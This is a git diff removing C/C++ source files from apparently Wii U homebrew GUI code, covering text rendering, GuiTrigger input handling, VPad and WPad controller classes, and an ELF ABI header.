|
||||
virtual void setTextf(const char *format, ...) __attribute__((format(printf,2,3)));
|
||||
//!Sets up preset values to be used by GuiText(t)
|
||||
//!Useful when printing multiple text elements, all with the same attributes set
|
||||
//!\param sz Font size
|
||||
//!\param c Font color
|
||||
//!\param w Maximum width of texture image (for text wrapping)
|
||||
//!\param wrap Wrapmode when w>0
|
||||
//!\param a Text alignment
|
||||
static void setPresets(int sz, const glm::vec4 & c, int w, int a);
|
||||
static void setPresetFont(FreeTypeGX *font);
|
||||
//!Sets the font size
|
||||
//!\param s Font size
|
||||
void setFontSize(int s);
|
||||
//!Sets the maximum width of the drawn texture image
|
||||
//!If the text exceeds this, it is wrapped to the next line
|
||||
//!\param w Maximum width
|
||||
//!\param m WrapMode
|
||||
void setMaxWidth(int w = 0, int m = WRAP);
|
||||
//!Sets the font color
|
||||
//!\param c Font color
|
||||
void setColor(const glm::vec4 & c);
|
||||
|
||||
void setBlurGlowColor(float blurIntensity, const glm::vec4 & c);
|
||||
|
||||
void setTextBlur(float blur) { defaultBlur = blur; }
|
||||
//!Get the original text as char
|
||||
virtual const wchar_t * getText() const { return text; }
|
||||
virtual std::string toUTF8(void) const;
|
||||
//!Get the Horizontal Size of Text
|
||||
int getTextWidth() { return textWidth; }
|
||||
int getTextWidth(int ind);
|
||||
//!Get the max textwidth
|
||||
int getTextMaxWidth() { return maxWidth; }
|
||||
//!Get fontsize
|
||||
int getFontSize() { return size; };
|
||||
//!Set max lines to draw
|
||||
void setLinesToDraw(int l) { linestodraw = l; }
|
||||
//!Get current Textline (for position calculation)
|
||||
const wchar_t * getDynText(int ind = 0);
|
||||
virtual const wchar_t * getTextLine(int ind) { return getDynText(ind); };
|
||||
//!Change the font
|
||||
bool setFont(FreeTypeGX *font);
|
||||
//! virtual function used in child classes
|
||||
virtual int getStartWidth() { return 0; };
|
||||
//!Constantly called to draw the text
|
||||
void draw(CVideo *pVideo);
|
||||
//! text enums
|
||||
enum
|
||||
{
|
||||
WRAP,
|
||||
DOTTED,
|
||||
SCROLL_HORIZONTAL,
|
||||
SCROLL_NONE
|
||||
};
|
||||
protected:
|
||||
static FreeTypeGX * presentFont;
|
||||
static int presetSize;
|
||||
static int presetMaxWidth;
|
||||
static int presetInternalRenderingScale;
|
||||
static int presetAlignment;
|
||||
static GX2ColorF32 presetColor;
|
||||
|
||||
//!Clear the dynamic text
|
||||
void clearDynamicText();
|
||||
//!Create a dynamic dotted text if the text is too long
|
||||
void makeDottedText();
|
||||
//!Scroll the text once
|
||||
void scrollText(u32 frameCount);
|
||||
//!Wrap the text to several lines
|
||||
void wrapText();
|
||||
|
||||
wchar_t * text;
|
||||
std::vector<wchar_t *> textDyn;
|
||||
std::vector<uint16_t> textDynWidth;
|
||||
int wrapMode; //!< Wrapping toggle
|
||||
int textScrollPos; //!< Current starting index of text string for scrolling
|
||||
int textScrollInitialDelay; //!< Delay to wait before starting to scroll
|
||||
int textScrollDelay; //!< Scrolling speed
|
||||
int size; //!< Font size
|
||||
int maxWidth; //!< Maximum width of the generated text object (for text wrapping)
|
||||
FreeTypeGX *font;
|
||||
int textWidth;
|
||||
int currentSize;
|
||||
int linestodraw;
|
||||
glm::vec4 color;
|
||||
float defaultBlur;
|
||||
float blurGlowIntensity;
|
||||
float blurAlpha;
|
||||
glm::vec4 blurGlowColor;
|
||||
float internalRenderingScale;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,174 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiElement.h"
|
||||
#include "GuiController.h"
|
||||
#include "GuiTrigger.h"
|
||||
|
||||
/**
|
||||
* Constructor for the GuiTrigger class.
|
||||
*/
|
||||
GuiTrigger::GuiTrigger()
|
||||
: chan(CHANNEL_ALL)
|
||||
, btns(BUTTON_NONE)
|
||||
, bClickEverywhere(false)
|
||||
, bHoldEverywhere(false)
|
||||
, bSelectionClickEverywhere(false)
|
||||
, bLastTouched(false)
|
||||
{
|
||||
}
|
||||
|
||||
GuiTrigger::GuiTrigger(u32 ch, u32 btn, bool clickEverywhere, bool holdEverywhere, bool selectionClickEverywhere)
|
||||
: chan(ch)
|
||||
, btns(btn)
|
||||
, bClickEverywhere(clickEverywhere)
|
||||
, bHoldEverywhere(holdEverywhere)
|
||||
, bSelectionClickEverywhere(selectionClickEverywhere)
|
||||
, bLastTouched(false)
|
||||
{
|
||||
}
|
||||
|
||||
/**
|
||||
* Destructor for the GuiTrigger class.
|
||||
*/
|
||||
GuiTrigger::~GuiTrigger()
|
||||
{
|
||||
}
|
||||
|
||||
/**
|
||||
* Sets a simple trigger. Requires:
|
||||
* - Element is selected
|
||||
* - Trigger button is pressed
|
||||
*/
|
||||
void GuiTrigger::setTrigger(u32 ch, u32 btn)
|
||||
{
|
||||
chan = ch;
|
||||
btns = btn;
|
||||
}
|
||||
|
||||
bool GuiTrigger::left(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_LEFT | STICK_L_LEFT))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool GuiTrigger::right(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_RIGHT | STICK_L_RIGHT))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool GuiTrigger::up(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_UP | STICK_L_UP))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool GuiTrigger::down(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_DOWN | STICK_L_DOWN))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool GuiTrigger::clicked(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool bResult = false;
|
||||
|
||||
if(controller->data.touched && controller->data.validPointer && (btns & VPAD_TOUCH) && !controller->lastData.touched)
|
||||
{
|
||||
bResult = true;
|
||||
}
|
||||
|
||||
if(controller->data.buttons_d & btns)
|
||||
{
|
||||
bResult = true;
|
||||
}
|
||||
return bResult;
|
||||
}
|
||||
|
||||
bool GuiTrigger::held(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
bool bResult = false;
|
||||
|
||||
if(controller->data.touched && (btns & VPAD_TOUCH) && controller->data.validPointer && controller->lastData.touched && controller->lastData.validPointer)
|
||||
{
|
||||
bResult = true;
|
||||
}
|
||||
|
||||
if(controller->data.buttons_h & btns)
|
||||
{
|
||||
bResult = true;
|
||||
}
|
||||
|
||||
return bResult;
|
||||
}
|
||||
|
||||
bool GuiTrigger::released(const GuiController *controller) const
|
||||
{
|
||||
if((controller->chan & chan) == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if(clicked(controller) || held(controller))
|
||||
return false;
|
||||
|
||||
bool bResult = false;
|
||||
|
||||
if(!controller->data.touched && (btns & VPAD_TOUCH) && controller->lastData.touched && controller->lastData.validPointer)
|
||||
{
|
||||
bResult = true;
|
||||
}
|
||||
|
||||
if(controller->data.buttons_r & btns)
|
||||
{
|
||||
bResult = true;
|
||||
}
|
||||
|
||||
return bResult;
|
||||
}
|
||||
|
@ -1,100 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_TRIGGER_H_
|
||||
#define GUI_TRIGGER_H_
|
||||
|
||||
#include "common/types.h"
|
||||
|
||||
//!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element.
|
||||
class GuiTrigger
|
||||
{
|
||||
public:
|
||||
enum eChannels {
|
||||
CHANNEL_1 = 0x01,
|
||||
CHANNEL_2 = 0x02,
|
||||
CHANNEL_3 = 0x04,
|
||||
CHANNEL_4 = 0x08,
|
||||
CHANNEL_5 = 0x10,
|
||||
CHANNEL_ALL = 0xFF
|
||||
};
|
||||
enum eButtons {
|
||||
BUTTON_NONE = 0x0000,
|
||||
VPAD_TOUCH = 0x80000000,
|
||||
BUTTON_Z = 0x20000,
|
||||
BUTTON_C = 0x10000,
|
||||
BUTTON_A = 0x8000,
|
||||
BUTTON_B = 0x4000,
|
||||
BUTTON_X = 0x2000,
|
||||
BUTTON_Y = 0x1000,
|
||||
BUTTON_1 = BUTTON_Y,
|
||||
BUTTON_2 = BUTTON_X,
|
||||
BUTTON_LEFT = 0x0800,
|
||||
BUTTON_RIGHT = 0x0400,
|
||||
BUTTON_UP = 0x0200,
|
||||
BUTTON_DOWN = 0x0100,
|
||||
BUTTON_ZL = 0x0080,
|
||||
BUTTON_ZR = 0x0040,
|
||||
BUTTON_L = 0x0020,
|
||||
BUTTON_R = 0x0010,
|
||||
BUTTON_PLUS = 0x0008,
|
||||
BUTTON_MINUS = 0x0004,
|
||||
BUTTON_HOME = 0x0002,
|
||||
BUTTON_SYNC = 0x0001,
|
||||
STICK_R_LEFT = 0x04000000,
|
||||
STICK_R_RIGHT = 0x02000000,
|
||||
STICK_R_UP = 0x01000000,
|
||||
STICK_R_DOWN = 0x00800000,
|
||||
STICK_L_LEFT = 0x40000000,
|
||||
STICK_L_RIGHT = 0x20000000,
|
||||
STICK_L_UP = 0x10000000,
|
||||
STICK_L_DOWN = 0x08000000
|
||||
};
|
||||
|
||||
//!Constructor
|
||||
GuiTrigger();
|
||||
//!Constructor
|
||||
GuiTrigger(u32 ch, u32 btns, bool clickEverywhere = false, bool holdEverywhere = false, bool selectionClickEverywhere = false);
|
||||
//!Destructor
|
||||
virtual ~GuiTrigger();
|
||||
//!Sets a simple trigger. Requires: element is selected, and trigger button is pressed
|
||||
void setTrigger(u32 ch, u32 btns);
|
||||
|
||||
void setClickEverywhere(bool b) { bClickEverywhere = b; }
|
||||
void setHoldOnly(bool b) { bHoldEverywhere = b; }
|
||||
void setSelectionClickEverywhere(bool b) { bSelectionClickEverywhere = b; }
|
||||
|
||||
bool isClickEverywhere() const { return bClickEverywhere; }
|
||||
bool isHoldEverywhere() const { return bHoldEverywhere; }
|
||||
bool isSelectionClickEverywhere() const { return bSelectionClickEverywhere; }
|
||||
|
||||
bool left(const GuiController *controller) const;
|
||||
bool right(const GuiController *controller) const;
|
||||
bool up(const GuiController *controller) const;
|
||||
bool down(const GuiController *controller) const;
|
||||
bool clicked(const GuiController *controller) const;
|
||||
bool held(const GuiController *controller) const;
|
||||
bool released(const GuiController *controller) const;
|
||||
private:
|
||||
u32 chan;
|
||||
u32 btns;
|
||||
bool bClickEverywhere;
|
||||
bool bHoldEverywhere;
|
||||
bool bSelectionClickEverywhere;
|
||||
bool bLastTouched;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,62 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef VPAD_CONTROLLER_H_
|
||||
#define VPAD_CONTROLLER_H_
|
||||
|
||||
#include <vpad/input.h>
|
||||
#include "GuiController.h"
|
||||
|
||||
class VPadController : public GuiController
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
VPadController(int channel)
|
||||
: GuiController(channel)
|
||||
{
|
||||
memset(&vpad, 0, sizeof(vpad));
|
||||
}
|
||||
|
||||
//!Destructor
|
||||
virtual ~VPadController() {}
|
||||
|
||||
bool update(int width, int height)
|
||||
{
|
||||
lastData = data;
|
||||
|
||||
VPADReadError vpadError = VPAD_READ_NO_SAMPLES;
|
||||
VPADRead(0, &vpad, 1, &vpadError);
|
||||
|
||||
if(vpadError == VPAD_READ_SUCCESS)
|
||||
{
|
||||
data.buttons_r = vpad.release;
|
||||
data.buttons_h = vpad.hold;
|
||||
data.buttons_d = vpad.trigger;
|
||||
data.validPointer = !vpad.tpNormal.validity;
|
||||
data.touched = vpad.tpNormal.touched;
|
||||
//! calculate the screen offsets
|
||||
data.x = -(width >> 1) + (int)((vpad.tpFiltered1.x * width) >> 12);
|
||||
data.y = (height >> 1) - (int)(height - ((vpad.tpFiltered1.y * height) >> 12));
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private:
|
||||
VPADStatus vpad;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,179 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef WPAD_CONTROLLER_H_
|
||||
#define WPAD_CONTROLLER_H_
|
||||
|
||||
#include "GuiController.h"
|
||||
#include "dynamic_libs/padscore_functions.h"
|
||||
|
||||
class WPadController : public GuiController
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
WPadController(int channel)
|
||||
: GuiController(channel)
|
||||
{
|
||||
memset(&kpadData, 0, sizeof(kpadData));
|
||||
}
|
||||
|
||||
//!Destructor
|
||||
virtual ~WPadController() {}
|
||||
|
||||
u32 remapWiiMoteButtons(u32 buttons)
|
||||
{
|
||||
u32 conv_buttons = 0;
|
||||
|
||||
if(buttons & WPAD_BUTTON_LEFT)
|
||||
conv_buttons |= GuiTrigger::BUTTON_LEFT;
|
||||
|
||||
if(buttons & WPAD_BUTTON_RIGHT)
|
||||
conv_buttons |= GuiTrigger::BUTTON_RIGHT;
|
||||
|
||||
if(buttons & WPAD_BUTTON_DOWN)
|
||||
conv_buttons |= GuiTrigger::BUTTON_DOWN;
|
||||
|
||||
if(buttons & WPAD_BUTTON_UP)
|
||||
conv_buttons |= GuiTrigger::BUTTON_UP;
|
||||
|
||||
if(buttons & WPAD_BUTTON_PLUS)
|
||||
conv_buttons |= GuiTrigger::BUTTON_PLUS;
|
||||
|
||||
if(buttons & WPAD_BUTTON_2)
|
||||
conv_buttons |= GuiTrigger::BUTTON_2;
|
||||
|
||||
if(buttons & WPAD_BUTTON_1)
|
||||
conv_buttons |= GuiTrigger::BUTTON_1;
|
||||
|
||||
if(buttons & WPAD_BUTTON_B)
|
||||
conv_buttons |= GuiTrigger::BUTTON_B;
|
||||
|
||||
if(buttons & WPAD_BUTTON_A)
|
||||
conv_buttons |= GuiTrigger::BUTTON_A;
|
||||
|
||||
if(buttons & WPAD_BUTTON_MINUS)
|
||||
conv_buttons |= GuiTrigger::BUTTON_MINUS;
|
||||
|
||||
if(buttons & WPAD_BUTTON_Z)
|
||||
conv_buttons |= GuiTrigger::BUTTON_Z;
|
||||
|
||||
if(buttons & WPAD_BUTTON_C)
|
||||
conv_buttons |= GuiTrigger::BUTTON_C;
|
||||
|
||||
if(buttons & WPAD_BUTTON_HOME)
|
||||
conv_buttons |= GuiTrigger::BUTTON_HOME;
|
||||
|
||||
return conv_buttons;
|
||||
}
|
||||
u32 remapClassicButtons(u32 buttons)
|
||||
{
|
||||
u32 conv_buttons = 0;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_LEFT)
|
||||
conv_buttons |= GuiTrigger::BUTTON_LEFT;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_RIGHT)
|
||||
conv_buttons |= GuiTrigger::BUTTON_RIGHT;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_DOWN)
|
||||
conv_buttons |= GuiTrigger::BUTTON_DOWN;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_UP)
|
||||
conv_buttons |= GuiTrigger::BUTTON_UP;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_PLUS)
|
||||
conv_buttons |= GuiTrigger::BUTTON_PLUS;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_X)
|
||||
conv_buttons |= GuiTrigger::BUTTON_X;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_Y)
|
||||
conv_buttons |= GuiTrigger::BUTTON_Y;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_B)
|
||||
conv_buttons |= GuiTrigger::BUTTON_B;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_A)
|
||||
conv_buttons |= GuiTrigger::BUTTON_A;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_MINUS)
|
||||
conv_buttons |= GuiTrigger::BUTTON_MINUS;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_HOME)
|
||||
conv_buttons |= GuiTrigger::BUTTON_HOME;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_ZR)
|
||||
conv_buttons |= GuiTrigger::BUTTON_ZR;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_ZL)
|
||||
conv_buttons |= GuiTrigger::BUTTON_ZL;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_R)
|
||||
conv_buttons |= GuiTrigger::BUTTON_R;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_L)
|
||||
conv_buttons |= GuiTrigger::BUTTON_L;
|
||||
|
||||
return conv_buttons;
|
||||
}
|
||||
|
||||
bool update(int width, int height)
|
||||
{
|
||||
lastData = data;
|
||||
|
||||
u32 controller_type;
|
||||
|
||||
//! check if the controller is connected
|
||||
if(WPADProbe(chanIdx-1, &controller_type) != 0)
|
||||
return false;
|
||||
|
||||
KPADRead(chanIdx-1, &kpadData, 1);
|
||||
|
||||
if(kpadData.device_type <= 1)
|
||||
{
|
||||
data.buttons_r = remapWiiMoteButtons(kpadData.btns_r);
|
||||
data.buttons_h = remapWiiMoteButtons(kpadData.btns_h);
|
||||
data.buttons_d = remapWiiMoteButtons(kpadData.btns_d);
|
||||
}
|
||||
else
|
||||
{
|
||||
data.buttons_r = remapClassicButtons(kpadData.classic.btns_r);
|
||||
data.buttons_h = remapClassicButtons(kpadData.classic.btns_h);
|
||||
data.buttons_d = remapClassicButtons(kpadData.classic.btns_d);
|
||||
}
|
||||
|
||||
data.validPointer = (kpadData.pos_valid == 1 || kpadData.pos_valid == 2) && (kpadData.pos_x >= -1.0f && kpadData.pos_x <= 1.0f) && (kpadData.pos_y >= -1.0f && kpadData.pos_y <= 1.0f);
|
||||
//! calculate the screen offsets if pointer is valid else leave old value
|
||||
if(data.validPointer)
|
||||
{
|
||||
data.x = (width >> 1) * kpadData.pos_x;
|
||||
data.y = (height >> 1) * (-kpadData.pos_y);
|
||||
|
||||
if(kpadData.angle_y > 0.0f)
|
||||
data.pointerAngle = (-kpadData.angle_x + 1.0f) * 0.5f * 180.0f;
|
||||
else
|
||||
data.pointerAngle = (kpadData.angle_x + 1.0f) * 0.5f * 180.0f - 180.0f;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private:
|
||||
KPADData kpadData;
|
||||
u32 lastButtons;
|
||||
};
|
||||
|
||||
#endif
|
2731
src/gui/sigslot.h
2731
src/gui/sigslot.h
File diff suppressed because it is too large
Load Diff
@ -1,591 +0,0 @@
|
||||
/*
|
||||
* Copyright (c) 1995, 1996, 2001, 2002
|
||||
* Erik Theisen. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. The name of the author may not be used to endorse or promote products
|
||||
* derived from this software without specific prior written permission
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* This is the ELF ABI header file
|
||||
* formerly known as "elf_abi.h".
|
||||
*/
|
||||
|
||||
#ifndef _ELF_ABI_H
|
||||
#define _ELF_ABI_H
|
||||
|
||||
/*
|
||||
* This version doesn't work for 64-bit ABIs - Erik.
|
||||
*/
|
||||
|
||||
/*
|
||||
* These typedefs need to be handled better.
|
||||
*/
|
||||
typedef unsigned int Elf32_Addr; /* Unsigned program address */
|
||||
typedef unsigned int Elf32_Off; /* Unsigned file offset */
|
||||
typedef signed int Elf32_Sword; /* Signed large integer */
|
||||
typedef unsigned int Elf32_Word; /* Unsigned large integer */
|
||||
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
|
||||
|
||||
/* e_ident[] identification indexes */
|
||||
#define EI_MAG0 0 /* file ID */
|
||||
#define EI_MAG1 1 /* file ID */
|
||||
#define EI_MAG2 2 /* file ID */
|
||||
#define EI_MAG3 3 /* file ID */
|
||||
#define EI_CLASS 4 /* file class */
|
||||
#define EI_DATA 5 /* data encoding */
|
||||
#define EI_VERSION 6 /* ELF header version */
|
||||
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
|
||||
#define EI_ABIVERSION 8 /* ABI target version */
|
||||
#define EI_PAD 9 /* start of pad bytes */
|
||||
#define EI_NIDENT 16 /* Size of e_ident[] */
|
||||
|
||||
/* e_ident[] magic number */
|
||||
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
|
||||
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
|
||||
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
|
||||
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
|
||||
#define ELFMAG "\177ELF" /* magic */
|
||||
#define SELFMAG 4 /* size of magic */
|
||||
|
||||
/* e_ident[] file class */
|
||||
#define ELFCLASSNONE 0 /* invalid */
|
||||
#define ELFCLASsigned int 1 /* 32-bit objs */
|
||||
#define ELFCLASS64 2 /* 64-bit objs */
|
||||
#define ELFCLASSNUM 3 /* number of classes */
|
||||
|
||||
/* e_ident[] data encoding */
|
||||
#define ELFDATANONE 0 /* invalid */
|
||||
#define ELFDATA2LSB 1 /* Little-Endian */
|
||||
#define ELFDATA2MSB 2 /* Big-Endian */
|
||||
#define ELFDATANUM 3 /* number of data encode defines */
|
||||
|
||||
/* e_ident[] OS/ABI specific ELF extensions */
|
||||
#define ELFOSABI_NONE 0 /* No extension specified */
|
||||
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
|
||||
#define ELFOSABI_NETBSD 2 /* NetBSD */
|
||||
#define ELFOSABI_LINUX 3 /* Linux */
|
||||
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
|
||||
#define ELFOSABI_AIX 7 /* AIX */
|
||||
#define ELFOSABI_IRIX 8 /* IRIX */
|
||||
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
|
||||
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
|
||||
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
|
||||
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
|
||||
/* 64-255 Architecture-specific value range */
|
||||
|
||||
/* e_ident[] ABI Version */
|
||||
#define ELFABIVERSION 0
|
||||
|
||||
/* e_ident */
|
||||
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
|
||||
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
|
||||
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
|
||||
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
|
||||
|
||||
/* ELF Header */
|
||||
typedef struct elfhdr{
|
||||
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
|
||||
Elf32_Half e_type; /* object file type */
|
||||
Elf32_Half e_machine; /* machine */
|
||||
Elf32_Word e_version; /* object file version */
|
||||
Elf32_Addr e_entry; /* virtual entry point */
|
||||
Elf32_Off e_phoff; /* program header table offset */
|
||||
Elf32_Off e_shoff; /* section header table offset */
|
||||
Elf32_Word e_flags; /* processor-specific flags */
|
||||
Elf32_Half e_ehsize; /* ELF header size */
|
||||
Elf32_Half e_phentsize; /* program header entry size */
|
||||
Elf32_Half e_phnum; /* number of program header entries */
|
||||
Elf32_Half e_shentsize; /* section header entry size */
|
||||
Elf32_Half e_shnum; /* number of section header entries */
|
||||
Elf32_Half e_shstrndx; /* section header table's "section
|
||||
header string table" entry offset */
|
||||
} Elf32_Ehdr;
|
||||
|
||||
/* e_type */
|
||||
#define ET_NONE 0 /* No file type */
|
||||
#define ET_REL 1 /* relocatable file */
|
||||
#define ET_EXEC 2 /* executable file */
|
||||
#define ET_DYN 3 /* shared object file */
|
||||
#define ET_CORE 4 /* core file */
|
||||
#define ET_NUM 5 /* number of types */
|
||||
#define ET_LOOS 0xfe00 /* reserved range for operating */
|
||||
#define ET_HIOS 0xfeff /* system specific e_type */
|
||||
#define ET_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define ET_HIPROC 0xffff /* specific e_type */
|
||||
|
||||
/* e_machine */
|
||||
#define EM_NONE 0 /* No Machine */
|
||||
#define EM_M32 1 /* AT&T WE 32100 */
|
||||
#define EM_SPARC 2 /* SPARC */
|
||||
#define EM_386 3 /* Intel 80386 */
|
||||
#define EM_68K 4 /* Motorola 68000 */
|
||||
#define EM_88K 5 /* Motorola 88000 */
|
||||
#if 0
|
||||
#define EM_486 6 /* RESERVED - was Intel 80486 */
|
||||
#endif
|
||||
#define EM_860 7 /* Intel 80860 */
|
||||
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
|
||||
#define EM_S370 9 /* IBM System/370 Processor */
|
||||
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
|
||||
#if 0
|
||||
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
|
||||
64-bit unoffical */
|
||||
#endif
|
||||
/* RESERVED 11-14 for future use */
|
||||
#define EM_PARISC 15 /* HPPA */
|
||||
/* RESERVED 16 for future use */
|
||||
#define EM_VPP500 17 /* Fujitsu VPP500 */
|
||||
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
|
||||
#define EM_960 19 /* Intel 80960 */
|
||||
#define EM_PPC 20 /* PowerPC */
|
||||
#define EM_PPC64 21 /* 64-bit PowerPC */
|
||||
